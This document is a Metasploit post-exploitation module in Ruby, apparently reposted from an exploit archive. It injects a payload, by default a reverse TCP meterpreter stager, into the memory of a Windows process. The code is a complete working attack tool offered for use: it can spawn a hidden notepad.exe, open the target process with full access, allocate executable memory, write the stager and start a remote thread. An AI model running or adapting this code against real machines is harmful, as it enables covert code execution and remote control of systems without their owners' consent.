Windows Manage Memory Payload Injection Exploit

##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
 
require 'msf/core'
require 'rex'
require 'msf/core/exploit/exe'
 
class Metasploit3 < Msf::Exploit::Local
    Rank = ExcellentRanking
 
    def initialize(info={})
        super( update_info( info,
            'Name'          => 'Windows Manage Memory Payload Injection',
            'Description'   => %q{
                    This module will inject a payload into memory of a process.  If a payload
                isn't selected, then it'll default to a reverse x86 TCP meterpreter.  If the PID
                datastore option isn't specified, then it'll inject into notepad.exe instead.
            },
            'License'       => MSF_LICENSE,
            'Author'        =>
                [
                    'Carlos Perez <carlos_perez[at]darkoperator.com>',
                    'sinn3r'
                ],
            'Platform'      => [ 'win' ],
            'SessionTypes'  => [ 'meterpreter' ],
            'Targets'       => [ [ 'Windows', {} ] ],
            'DefaultTarget' => 0,
            'DisclosureDate'=> "Oct 12 2011"
        ))
 
        register_options(
            [
                OptInt.new('PID', [false, 'Process Identifier to inject of process to inject payload.']),
                OptBool.new('NEWPROCESS', [false, 'New notepad.exe to inject to', false])
            ], self.class)
    end
 
    # Run Method for when run command is issued
    def exploit
        @payload_name = datastore['PAYLOAD']
        @payload_arch = framework.payloads.create(@payload_name).arch
 
        # syinfo is only on meterpreter sessions
        print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
 
        pid = get_pid
        if not pid
            print_error("Unable to get a proper PID")
            return
        end
 
        if @payload_arch.first =~ /64/ and client.platform =~ /x86/
            print_error("You are trying to inject to a x64 process from a x86 version of Meterpreter.")
            print_error("Migrate to an x64 process and try again.")
            return false
        else
            inject_into_pid(pid)
        end
    end
 
    # Figures out which PID to inject to
    def get_pid
        pid = datastore['PID']
        if pid == 0 or datastore['NEWPROCESS'] or not has_pid?(pid)
            print_status("Launching notepad.exe...")
            pid = create_temp_proc
        end
 
        return pid
    end
 
 
    # Determines if a PID actually exists
    def has_pid?(pid)
        procs = []
        begin
            procs = client.sys.process.processes
        rescue Rex::Post::Meterpreter::RequestError
            print_error("Unable to enumerate processes")
            return false
        end
 
        pids = []
 
        procs.each do |p|
            found_pid = p['pid']
            return true if found_pid == pid
        end
 
        print_error("PID #{pid.to_s} does not actually exist.")
 
        return false
    end
 
    # Checks the Architeture of a Payload and PID are compatible
    # Returns true if they are false if they are not
    def arch_check(pid)
        # get the pid arch
        client.sys.process.processes.each do |p|
            # Check Payload Arch
            if pid == p["pid"]
                vprint_status("Process found checking Architecture")
                if @payload_arch.first == p['arch']
                    vprint_good("Process is the same architecture as the payload")
                    return true
                else
                    print_error("The PID #{ p['arch']} and Payload #{@payload_arch.first} architectures are different.")
                    return false
                end
            end
        end
    end
 
    # Creates a temp notepad.exe to inject payload in to given the payload
    # Returns process PID
    def create_temp_proc()
        windir = client.fs.file.expand_path("%windir%")
        # Select path of executable to run depending the architecture
        if @payload_arch.first== "x86" and client.platform =~ /x86/
            cmd = "#{windir}\\System32\\notepad.exe"
        elsif @payload_arch.first == "x86_64" and client.platform =~ /x64/
            cmd = "#{windir}\\System32\\notepad.exe"
        elsif @payload_arch.first == "x86_64" and client.platform =~ /x86/
            cmd = "#{windir}\\Sysnative\\notepad.exe"
        elsif @payload_arch.first == "x86" and client.platform =~ /x64/
            cmd = "#{windir}\\SysWOW64\\notepad.exe"
        end
 
        begin
            proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
        rescue Rex::Post::Meterpreter::RequestError
            return nil
        end
 
        return proc.pid
    end
 
    def inject_into_pid(pid)
        vprint_status("Performing Architecture Check")
        return if not arch_check(pid)
 
        begin
            print_status("Preparing '#{@payload_name}' for PID #{pid}")
            raw = payload.generate
 
            print_status("Opening process #{pid.to_s}")
            host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
            if not host_process
                print_error("Unable to open #{pid.to_s}")
                return
            end
 
            print_status("Allocating memory in procees #{pid}")
            mem = host_process.memory.allocate(raw.length + (raw.length % 1024))
 
            # Ensure memory is set for execution
            host_process.memory.protect(mem)
 
            print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager")
            print_status("Writing the stager into memory...")
            host_process.memory.write(mem, raw)
            host_process.thread.create(mem, 0)
            print_good("Successfully injected payload in to process: #{pid}")
 
        rescue Rex::Post::Meterpreter::RequestError => e
            print_error("Unable to inject payload:")
            print_line(e.to_s)
        end
    end
 
end

#  0day.today [2018-01-04]  #